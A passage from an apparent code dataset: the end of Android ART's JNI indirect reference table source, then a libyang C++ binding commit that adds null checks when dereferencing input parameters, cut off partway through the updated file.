ToIndirectRef(obj, idx);\n  if (UNLIKELY(checkRef != iref)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): attempt to \" << what\n               << \" stale \" << kind_ << \" \" << iref\n               << \" (should be \" << checkRef << \")\";\n    AbortMaybe();\n    return false;\n  }\n  return true;\n}\n\nIndirectRef IndirectReferenceTable::Add(uint32_t cookie, mirror::Object* obj) {\n  IRTSegmentState prevState;\n  prevState.all = cookie;\n  size_t topIndex = segment_state_.parts.topIndex;\n\n  CHECK(obj != NULL);\n  \/\/ TODO: stronger sanity check on the object (such as in heap)\n  DCHECK_ALIGNED(reinterpret_cast<uintptr_t>(obj), 8);\n  DCHECK(table_ != NULL);\n  DCHECK_LE(alloc_entries_, max_entries_);\n  DCHECK_GE(segment_state_.parts.numHoles, prevState.parts.numHoles);\n\n  if (topIndex == alloc_entries_) {\n    \/\/ reached end of allocated space; did we hit buffer max?\n    if (topIndex == max_entries_) {\n      LOG(FATAL) << \"JNI ERROR (app bug): \" << kind_ << \" table overflow \"\n                 << \"(max=\" << max_entries_ << \")\\n\"\n                 << MutatorLockedDumpable<IndirectReferenceTable>(*this);\n    }\n\n    size_t newSize = alloc_entries_ * 2;\n    if (newSize > max_entries_) {\n      newSize = max_entries_;\n    }\n    DCHECK_GT(newSize, alloc_entries_);\n\n    table_ = reinterpret_cast<mirror::Object**>(realloc(table_, newSize * sizeof(mirror::Object*)));\n    slot_data_ = reinterpret_cast<IndirectRefSlot*>(realloc(slot_data_,\n                                                            newSize * sizeof(IndirectRefSlot)));\n    if (table_ == NULL || slot_data_ == NULL) {\n      LOG(FATAL) << \"JNI ERROR (app bug): unable to expand \"\n                 << kind_ << \" table (from \"\n                 << alloc_entries_ << \" to \" << newSize\n                 << \", max=\" << max_entries_ << \")\\n\"\n                 << MutatorLockedDumpable<IndirectReferenceTable>(*this);\n    }\n\n    \/\/ Clear the newly-allocated slot_data_ elements.\n    memset(slot_data_ + alloc_entries_, 0, (newSize - alloc_entries_) * sizeof(IndirectRefSlot));\n\n    alloc_entries_ = newSize;\n  }\n\n  \/\/ We know there's enough room in the table.  Now we just need to find\n  \/\/ the right spot.  If there's a hole, find it and fill it; otherwise,\n  \/\/ add to the end of the list.\n  IndirectRef result;\n  int numHoles = segment_state_.parts.numHoles - prevState.parts.numHoles;\n  if (numHoles > 0) {\n    DCHECK_GT(topIndex, 1U);\n    \/\/ Find the first hole; likely to be near the end of the list.\n    mirror::Object** pScan = &table_[topIndex - 1];\n    DCHECK(*pScan != NULL);\n    while (*--pScan != NULL) {\n      DCHECK_GE(pScan, table_ + prevState.parts.topIndex);\n    }\n    UpdateSlotAdd(obj, pScan - table_);\n    result = ToIndirectRef(obj, pScan - table_);\n    *pScan = obj;\n    segment_state_.parts.numHoles--;\n  } else {\n    \/\/ Add to the end.\n    UpdateSlotAdd(obj, topIndex);\n    result = ToIndirectRef(obj, topIndex);\n    table_[topIndex++] = obj;\n    segment_state_.parts.topIndex = topIndex;\n  }\n  if (false) {\n    LOG(INFO) << \"+++ added at \" << ExtractIndex(result) << \" top=\" << segment_state_.parts.topIndex\n              << \" holes=\" << segment_state_.parts.numHoles;\n  }\n\n  DCHECK(result != NULL);\n  return result;\n}\n\nvoid IndirectReferenceTable::AssertEmpty() {\n  if (UNLIKELY(begin() != end())) {\n    ScopedObjectAccess soa(Thread::Current());\n    LOG(FATAL) << \"Internal Error: non-empty local reference table\\n\"\n               << MutatorLockedDumpable<IndirectReferenceTable>(*this);\n  }\n}\n\n\/\/ Verifies that the indirect table lookup is valid.\n\/\/ Returns \"false\" if something looks bad.\nbool IndirectReferenceTable::GetChecked(IndirectRef iref) const {\n  if (UNLIKELY(iref == NULL)) {\n    LOG(WARNING) << \"Attempt to look up NULL \" << kind_;\n    return false;\n  }\n  if (UNLIKELY(GetIndirectRefKind(iref) == kSirtOrInvalid)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): invalid \" << kind_ << \" \" << iref;\n    AbortMaybe();\n    return false;\n  }\n\n  int topIndex = segment_state_.parts.topIndex;\n  int idx = ExtractIndex(iref);\n  if (UNLIKELY(idx >= topIndex)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): accessed stale \" << kind_ << \" \"\n               << iref << \" (index \" << idx << \" in a table of size \" << topIndex << \")\";\n    AbortMaybe();\n    return false;\n  }\n\n  if (UNLIKELY(table_[idx] == NULL)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): accessed deleted \" << kind_ << \" \" << iref;\n    AbortMaybe();\n    return false;\n  }\n\n  if (UNLIKELY(!CheckEntry(\"use\", iref, idx))) {\n    return false;\n  }\n\n  return true;\n}\n\nstatic int Find(mirror::Object* direct_pointer, int bottomIndex, int topIndex,\n                mirror::Object** table) {\n  for (int i = bottomIndex; i < topIndex; ++i) {\n    if (table[i] == direct_pointer) {\n      return i;\n    }\n  }\n  return -1;\n}\n\nbool IndirectReferenceTable::ContainsDirectPointer(mirror::Object* direct_pointer) const {\n  return Find(direct_pointer, 0, segment_state_.parts.topIndex, table_) != -1;\n}\n\n\/\/ Removes an object. We extract the table offset bits from \"iref\"\n\/\/ and zap the corresponding entry, leaving a hole if it's not at the top.\n\/\/ If the entry is not between the current top index and the bottom index\n\/\/ specified by the cookie, we don't remove anything. This is the behavior\n\/\/ required by JNI's DeleteLocalRef function.\n\/\/ This method is not called when a local frame is popped; this is only used\n\/\/ for explicit single removals.\n\/\/ Returns \"false\" if nothing was removed.\nbool IndirectReferenceTable::Remove(uint32_t cookie, IndirectRef iref) {\n  IRTSegmentState prevState;\n  prevState.all = cookie;\n  int topIndex = segment_state_.parts.topIndex;\n  int bottomIndex = prevState.parts.topIndex;\n\n  DCHECK(table_ != NULL);\n  DCHECK_LE(alloc_entries_, max_entries_);\n  DCHECK_GE(segment_state_.parts.numHoles, prevState.parts.numHoles);\n\n  int idx = ExtractIndex(iref);\n\n  JavaVMExt* vm = Runtime::Current()->GetJavaVM();\n  if (GetIndirectRefKind(iref) == kSirtOrInvalid &&\n      Thread::Current()->SirtContains(reinterpret_cast<jobject>(iref))) {\n    LOG(WARNING) << \"Attempt to remove local SIRT entry from IRT, ignoring\";\n    return true;\n  }\n  if (GetIndirectRefKind(iref) == kSirtOrInvalid && vm->work_around_app_jni_bugs) {\n    mirror::Object* direct_pointer = reinterpret_cast<mirror::Object*>(iref);\n    idx = Find(direct_pointer, bottomIndex, topIndex, table_);\n    if (idx == -1) {\n      LOG(WARNING) << \"Trying to work around app JNI bugs, but didn't find \" << iref << \" in table!\";\n      return false;\n    }\n  }\n\n  if (idx < bottomIndex) {\n    \/\/ Wrong segment.\n    LOG(WARNING) << \"Attempt to remove index outside index area (\" << idx\n                 << \" vs \" << bottomIndex << \"-\" << topIndex << \")\";\n    return false;\n  }\n  if (idx >= topIndex) {\n    \/\/ Bad --- stale reference?\n    LOG(WARNING) << \"Attempt to remove invalid index \" << idx\n                 << \" (bottom=\" << bottomIndex << \" top=\" << topIndex << \")\";\n    return false;\n  }\n\n  if (idx == topIndex-1) {\n    \/\/ Top-most entry.  Scan up and consume holes.\n\n    if (!vm->work_around_app_jni_bugs && !CheckEntry(\"remove\", iref, idx)) {\n      return false;\n    }\n\n    table_[idx] = NULL;\n    int numHoles = segment_state_.parts.numHoles - prevState.parts.numHoles;\n    if (numHoles != 0) {\n      while (--topIndex > bottomIndex && numHoles != 0) {\n        if (false) {\n          LOG(INFO) << \"+++ checking for hole at \" << topIndex-1\n                    << \" (cookie=\" << cookie << \") val=\" << table_[topIndex - 1];\n        }\n        if (table_[topIndex-1] != NULL) {\n          break;\n        }\n        if (false) {\n          LOG(INFO) << \"+++ ate hole at \" << (topIndex - 1);\n        }\n        numHoles--;\n      }\n      segment_state_.parts.numHoles = numHoles + prevState.parts.numHoles;\n      segment_state_.parts.topIndex = topIndex;\n    } else {\n      segment_state_.parts.topIndex = topIndex-1;\n      if (false) {\n        LOG(INFO) << \"+++ ate last entry \" << topIndex - 1;\n      }\n    }\n  } else {\n    \/\/ Not the top-most entry.  This creates a hole.  We NULL out the\n    \/\/ entry to prevent somebody from deleting it twice and screwing up\n    \/\/ the hole count.\n    if (table_[idx] == NULL) {\n      LOG(INFO) << \"--- WEIRD: removing null entry \" << idx;\n      return false;\n    }\n    if (!vm->work_around_app_jni_bugs && !CheckEntry(\"remove\", iref, idx)) {\n      return false;\n    }\n\n    table_[idx] = NULL;\n    segment_state_.parts.numHoles++;\n    if (false) {\n      LOG(INFO) << \"+++ left hole at \" << idx << \", holes=\" << segment_state_.parts.numHoles;\n    }\n  }\n\n  return true;\n}\n\nvoid IndirectReferenceTable::VisitRoots(RootVisitor* visitor, void* arg) {\n  for (auto ref : *this) {\n    *ref = visitor(const_cast<mirror::Object*>(*ref), arg);\n    DCHECK(*ref != nullptr);\n  }\n}\n\nvoid IndirectReferenceTable::Dump(std::ostream& os) const {\n  os << kind_ << \" table dump:\\n\";\n  ReferenceTable::Table entries(table_, table_ + Capacity());\n  \/\/ Remove NULLs.\n  for (int i = entries.size() - 1; i >= 0; --i) {\n    if (entries[i] == NULL) {\n      entries.erase(entries.begin() + i);\n    }\n  }\n  ReferenceTable::Dump(os, entries);\n}\n\n}  \/\/ namespace art\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file Tree_Data.cpp\n * @author Mislav Novakovic <mislav.novakovic@sartura.hr>\n * @brief Implementation of header Tree_Data.hpp.\n *\n * Copyright (c) 2017 Deutsche Telekom AG.\n *\n * This source code is licensed under BSD 3-Clause License (the \"License\").\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https:\/\/opensource.org\/licenses\/BSD-3-Clause\n *\/\n\n#include <iostream>\n#include <memory>\n#include <stdexcept>\n#include <vector>\n\n#include \"Xml.hpp\"\n#include \"Libyang.hpp\"\n#include \"Tree_Data.hpp\"\n#include \"Tree_Schema.hpp\"\n\nextern \"C\" {\n#include \"libyang.h\"\n#include \"tree_data.h\"\n#include \"tree_schema.h\"\n}\n\nValue::Value(lyd_val value, uint16_t value_type, S_Deleter deleter):\n    value(value),\n    type(value_type),\n    deleter(deleter)\n{};\nValue::~Value() {};\nS_Data_Node Value::instance() {\n    if (LY_TYPE_INST != type) {\n        return nullptr;\n    }\n    return value.instance ? std::make_shared<Data_Node>(value.instance, deleter) : nullptr;\n}\nS_Data_Node Value::leafref() {\n    if (LY_TYPE_LEAFREF != type) {\n        return nullptr;\n    }\n    return value.leafref ? std::make_shared<Data_Node>(value.leafref, deleter) : nullptr;\n}\n\nData_Node::Data_Node(struct lyd_node *node, S_Deleter deleter):\n    node(node),\n    deleter(deleter)\n{};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new(parent->node, module->module, name);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, const char *val_str) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_leaf(parent->node, module->module, name, val_str);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, const char *value, LYD_ANYDATA_VALUETYPE value_type) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_anydata(parent->node, module->module, name, (void *) value, value_type);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, S_Data_Node value, LYD_ANYDATA_VALUETYPE value_type) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_anydata(parent->node, module->module, name, (void *) value->node, value_type);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, S_Xml_Elem value, LYD_ANYDATA_VALUETYPE value_type) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_anydata(parent->node, module->module, name, (void *) value->elem, value_type);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n}\nData_Node::~Data_Node() {};\nS_Attr Data_Node::attr() LY_NEW(node, attr, Attr);\nstd::string Data_Node::path() {\n    char *path = nullptr;\n\n    path = lyd_path(node);\n    if (!path) {\n        check_libyang_error();\n        return nullptr;\n    }\n\n    std::string s_path = path;\n    free(path);\n    return s_path;\n}\nS_Data_Node Data_Node::dup(int recursive) {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_dup(node, recursive);\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nS_Data_Node Data_Node::dup_to_ctx(int recursive, S_Context context) {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_dup_to_ctx(node, recursive, context->ctx);\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nint Data_Node::merge(S_Data_Node source, int options) {\n    int ret = lyd_merge(node, source->node, options);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::merge_to_ctx(S_Data_Node source, int options, S_Context context) {\n    int ret = lyd_merge_to_ctx(&node, source->node, options, context->ctx);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert(S_Data_Node new_node) {\n    int ret = lyd_insert(node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert_sibling(S_Data_Node new_node) {\n    int ret = lyd_insert_sibling(&node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert_before(S_Data_Node new_node) {\n    int ret = lyd_insert_before(node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert_after(S_Data_Node new_node) {\n    int ret = lyd_insert_after(node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::schema_sort(int recursive) {\n    int ret = lyd_schema_sort(node, recursive);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nS_Set Data_Node::find_path(const char *expr) {\n    struct ly_set *set = lyd_find_path(node, expr);\n    if (!set) {\n        return nullptr;\n    }\n\n    return std::make_shared<Set>(set, std::make_shared<Deleter>(set, deleter));\n}\nS_Set Data_Node::find_instance(S_Schema_Node schema) {\n    struct ly_set *set = lyd_find_instance(node, schema->node);\n    if (!set) {\n        return nullptr;\n    }\n\n    return std::make_shared<Set>(set, std::make_shared<Deleter>(set, deleter));\n}\nS_Data_Node Data_Node::first_sibling() {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_first_sibling(node);\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nint Data_Node::validate(int options, S_Context var_arg) {\n    int ret = lyd_validate(&node, options, (void *) var_arg->ctx);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::validate(int options, S_Data_Node var_arg) {\n    int ret = lyd_validate(&node, options, (void *) var_arg->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\n\nint Data_Node::validate_value(const char *value) {\n    int ret = lyd_validate_value(node->schema, value);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nS_Difflist Data_Node::diff(S_Data_Node second, int options) {\n    struct lyd_difflist *diff;\n\n    diff = lyd_diff(node, second->node, options);\n    if (!diff) {\n        check_libyang_error();\n    }\n\n    return diff ? std::make_shared<Difflist>(diff, deleter) : nullptr;\n}\nS_Data_Node Data_Node::new_path(S_Context ctx, const char *path, void *value, LYD_ANYDATA_VALUETYPE value_type, int options) {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_new_path(node, ctx->ctx, path, value, value_type, options);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nunsigned int Data_Node::list_pos() {\n    unsigned int ret = lyd_list_pos(node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::unlink() {\n    int ret = lyd_unlink(node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nS_Attr Data_Node::insert_attr(S_Module module, const char *name, const char *value) {\n    struct lyd_attr *attr = nullptr;\n\n    attr = lyd_insert_attr(node, module->module, name, value);\n    if (!attr) {\n        check_libyang_error();\n    }\n\n    return attr ? std::make_shared<Attr>(attr, deleter) : nullptr;\n}\nS_Module Data_Node::node_module() {\n    struct lys_module *module = nullptr;\n\n    module = lyd_node_module(node);\n    if (!module) {\n        check_libyang_error();\n    }\n\n    return module ? std::make_shared<Module>(module, deleter) : nullptr;\n}\nstd::string Data_Node::print_mem(LYD_FORMAT format, int options) {\n    char *strp = nullptr;\n    int rc = 0;\n\n    rc = lyd_print_mem(&strp, node, format, options);\n    if (0 != rc) {\n        check_libyang_error();\n        return nullptr;\n    }\n\n    std::string s_strp = strp;\n    free(strp);\n    return s_strp;\n\n}\nstd::vector<S_Data_Node> *Data_Node::tree_for() {\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    struct lyd_node *elem = nullptr;\n    LY_TREE_FOR(node, elem) {\n        s_vector->push_back(std::make_shared<Data_Node>(elem, deleter));\n    }\n\n    return s_vector;\n}\nstd::vector<S_Data_Node> *Data_Node::tree_dfs() {\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    struct lyd_node *elem = nullptr, *next = nullptr;\n    LY_TREE_DFS_BEGIN(node, next, elem) {\n        s_vector->push_back(std::make_shared<Data_Node>(elem, deleter));\n        LY_TREE_DFS_END(node, next, elem)\n    }\n\n    return s_vector;\n}\n\nData_Node_Leaf_List::Data_Node_Leaf_List(struct lyd_node *node, S_Deleter deleter):\n    Data_Node(node, deleter),\n    node(node),\n    deleter(deleter)\n{};\nData_Node_Leaf_List::~Data_Node_Leaf_List() {};\nS_Value Data_Node_Leaf_List::value() {\n    struct lyd_node_leaf_list *leaf = (struct lyd_node_leaf_list *) node;\n    return std::make_shared<Value>(leaf->value, leaf->value_type, deleter);\n}\nint Data_Node_Leaf_List::change_leaf(const char *val_str) {\n    int ret = lyd_change_leaf((struct lyd_node_leaf_list *) node, val_str);\n    if (ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node_Leaf_List::wd_default() {\n    return lyd_wd_default((struct lyd_node_leaf_list *)node);\n}\nS_Type Data_Node_Leaf_List::leaf_type() {\n    const struct lys_type *type = lyd_leaf_type((const struct lyd_node_leaf_list *) node);\n    if (!type) {\n        check_libyang_error();\n    }\n\n    return std::make_shared<Type>((struct lys_type *) type, deleter);\n};\n\nData_Node_Anydata::Data_Node_Anydata(struct lyd_node *node, S_Deleter deleter):\n    Data_Node(node, deleter),\n    node(node),\n    deleter(deleter)\n{};\nData_Node_Anydata::~Data_Node_Anydata() {};\n\nAttr::Attr(struct lyd_attr *attr, S_Deleter deleter):\n    attr(attr),\n    deleter(deleter)\n{};\nAttr::~Attr() {};\nS_Value Attr::value() {\n    struct lyd_node_leaf_list *leaf = (struct lyd_node_leaf_list *) attr;\n    return std::make_shared<Value>(leaf->value, leaf->value_type, deleter);\n}\nS_Attr Attr::next() LY_NEW(attr, next, Attr);\n\nDifflist::Difflist(struct lyd_difflist *diff, S_Deleter deleter) {\n    diff = diff;\n    deleter = std::make_shared<Deleter>(diff, deleter);\n}\nDifflist::~Difflist() {};\nstd::vector<S_Data_Node> *Difflist::first() {\n    unsigned int i = 0;\n    if (!*diff->first) {\n        return nullptr;\n    }\n\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    for(i = 0; i < sizeof(*diff->first); i++) {\n        s_vector->push_back(std::make_shared<Data_Node>(*diff->first, deleter));\n    }\n\n    return s_vector;\n}\nstd::vector<S_Data_Node> *Difflist::second() {\n    unsigned int i = 0;\n    if (!*diff->second) {\n        return nullptr;\n    }\n\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    for(i = 0; i < sizeof(*diff->second); i++) {\n        s_vector->push_back(std::make_shared<Data_Node>(*diff->second, deleter));\n    }\n\n    return s_vector;\n}\n\nS_Data_Node create_new_Data_Node(struct lyd_node *new_node) {\n    return new_node ? std::make_shared<Data_Node>(new_node, nullptr) : nullptr;\n}\n<commit_msg>swig BUGFIX check input parameters when dereferencing them<commit_after>\/**\n * @file Tree_Data.cpp\n * @author Mislav Novakovic <mislav.novakovic@sartura.hr>\n * @brief Implementation of header Tree_Data.hpp.\n *\n * Copyright (c) 2017 Deutsche Telekom AG.\n *\n * This source code is licensed under BSD 3-Clause License (the \"License\").\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https:\/\/opensource.org\/licenses\/BSD-3-Clause\n *\/\n\n#include <iostream>\n#include <memory>\n#include <stdexcept>\n#include <vector>\n\n#include \"Xml.hpp\"\n#include \"Libyang.hpp\"\n#include \"Tree_Data.hpp\"\n#include \"Tree_Schema.hpp\"\n\nextern \"C\" {\n#include \"libyang.h\"\n#include \"tree_data.h\"\n#include \"tree_schema.h\"\n}\n\nValue::Value(lyd_val value, uint16_t value_type, S_Deleter deleter):\n    value(value),\n    type(value_type),\n    deleter(deleter)\n{};\nValue::~Value() {};\nS_Data_Node Value::instance() {\n    if (LY_TYPE_INST != type) {\n        return nullptr;\n    }\n    return value.instance ? std::make_shared<Data_Node>(value.instance, deleter) : nullptr;\n}\nS_Data_Node Value::leafref() {\n    if (LY_TYPE_LEAFREF != type) {\n        return nullptr;\n    }\n    return value.leafref ? std::make_shared<Data_Node>(value.leafref, deleter) : nullptr;\n}\n\nData_Node::Data_Node(struct lyd_node *node, S_Deleter deleter):\n    node(node),\n    deleter(deleter)\n{};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new(parent ? parent->node : NULL, module->module, name);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, const char *val_str) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_leaf(parent ? parent->node : NULL, module->module, name, val_str);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, const char *value, LYD_ANYDATA_VALUETYPE value_type) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_anydata(parent ? parent->node : NULL, module->module, name, (void *) value, value_type);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, S_Data_Node value, LYD_ANYDATA_VALUETYPE value_type) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_anydata(parent ? parent->node : NULL, module->module, name, (void *) value->node, value_type);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n};\nData_Node::Data_Node(S_Data_Node parent, S_Module module, const char *name, S_Xml_Elem value, LYD_ANYDATA_VALUETYPE value_type) {\n    lyd_node *new_node = nullptr;\n\n    if (!module) {\n        throw std::invalid_argument(\"Module can not be empty\");\n    }\n\n    new_node = lyd_new_anydata(parent ? parent->node : NULL, module->module, name, (void *) value->elem, value_type);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    node = new_node;\n    deleter = nullptr;\n}\nData_Node::~Data_Node() {};\nS_Attr Data_Node::attr() LY_NEW(node, attr, Attr);\nstd::string Data_Node::path() {\n    char *path = nullptr;\n\n    path = lyd_path(node);\n    if (!path) {\n        check_libyang_error();\n        return nullptr;\n    }\n\n    std::string s_path = path;\n    free(path);\n    return s_path;\n}\nS_Data_Node Data_Node::dup(int recursive) {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_dup(node, recursive);\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nS_Data_Node Data_Node::dup_to_ctx(int recursive, S_Context context) {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_dup_to_ctx(node, recursive, context->ctx);\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nint Data_Node::merge(S_Data_Node source, int options) {\n    int ret = lyd_merge(node, source->node, options);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::merge_to_ctx(S_Data_Node source, int options, S_Context context) {\n    int ret = lyd_merge_to_ctx(&node, source->node, options, context->ctx);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert(S_Data_Node new_node) {\n    int ret = lyd_insert(node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert_sibling(S_Data_Node new_node) {\n    int ret = lyd_insert_sibling(&node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert_before(S_Data_Node new_node) {\n    int ret = lyd_insert_before(node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::insert_after(S_Data_Node new_node) {\n    int ret = lyd_insert_after(node, new_node->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::schema_sort(int recursive) {\n    int ret = lyd_schema_sort(node, recursive);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nS_Set Data_Node::find_path(const char *expr) {\n    struct ly_set *set = lyd_find_path(node, expr);\n    if (!set) {\n        return nullptr;\n    }\n\n    return std::make_shared<Set>(set, std::make_shared<Deleter>(set, deleter));\n}\nS_Set Data_Node::find_instance(S_Schema_Node schema) {\n    struct ly_set *set = lyd_find_instance(node, schema->node);\n    if (!set) {\n        return nullptr;\n    }\n\n    return std::make_shared<Set>(set, std::make_shared<Deleter>(set, deleter));\n}\nS_Data_Node Data_Node::first_sibling() {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_first_sibling(node);\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nint Data_Node::validate(int options, S_Context var_arg) {\n    int ret = lyd_validate(&node, options, (void *) var_arg->ctx);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::validate(int options, S_Data_Node var_arg) {\n    int ret = lyd_validate(&node, options, (void *) var_arg->node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\n\nint Data_Node::validate_value(const char *value) {\n    int ret = lyd_validate_value(node->schema, value);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nS_Difflist Data_Node::diff(S_Data_Node second, int options) {\n    struct lyd_difflist *diff;\n\n    diff = lyd_diff(node, second->node, options);\n    if (!diff) {\n        check_libyang_error();\n    }\n\n    return diff ? std::make_shared<Difflist>(diff, deleter) : nullptr;\n}\nS_Data_Node Data_Node::new_path(S_Context ctx, const char *path, void *value, LYD_ANYDATA_VALUETYPE value_type, int options) {\n    struct lyd_node *new_node = nullptr;\n\n    new_node = lyd_new_path(node, ctx->ctx, path, value, value_type, options);\n    if (!new_node) {\n        check_libyang_error();\n    }\n\n    return new_node ? std::make_shared<Data_Node>(new_node, deleter) : nullptr;\n}\nunsigned int Data_Node::list_pos() {\n    unsigned int ret = lyd_list_pos(node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nint Data_Node::unlink() {\n    int ret = lyd_unlink(node);\n    if (!ret) {\n        check_libyang_error();\n    }\n    return ret;\n}\nS_Attr Data_Node::insert_attr(S_Module module, const char *name, const char *value) {\n    struct lyd_attr *attr = nullptr;\n\n    attr = lyd_insert_attr(node, module ? module->module : NULL, name, value);\n    if (!attr) {\n        check_libyang_error();\n    }\n\n    return attr ? std::make_shared<Attr>(attr, deleter) : nullptr;\n}\nS_Module Data_Node::node_module() {\n    struct lys_module *module = nullptr;\n\n    module = lyd_node_module(node);\n    if (!module) {\n        check_libyang_error();\n    }\n\n    return module ? std::make_shared<Module>(module, deleter) : nullptr;\n}\nstd::string Data_Node::print_mem(LYD_FORMAT format, int options) {\n    char *strp = nullptr;\n    int rc = 0;\n\n    rc = lyd_print_mem(&strp, node, format, options);\n    if (0 != rc) {\n        check_libyang_error();\n        return nullptr;\n    }\n\n    std::string s_strp = strp;\n    free(strp);\n    return s_strp;\n\n}\nstd::vector<S_Data_Node> *Data_Node::tree_for() {\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    struct lyd_node *elem = nullptr;\n    LY_TREE_FOR(node, elem) {\n        s_vector->push_back(std::make_shared<Data_Node>(elem, deleter));\n    }\n\n    return s_vector;\n}\nstd::vector<S_Data_Node> *Data_Node::tree_dfs() {\n    auto s_vector = new std::vector<S_Data_Node>;\n\n    struct lyd_node *elem = nullptr, *next = nullptr;\n    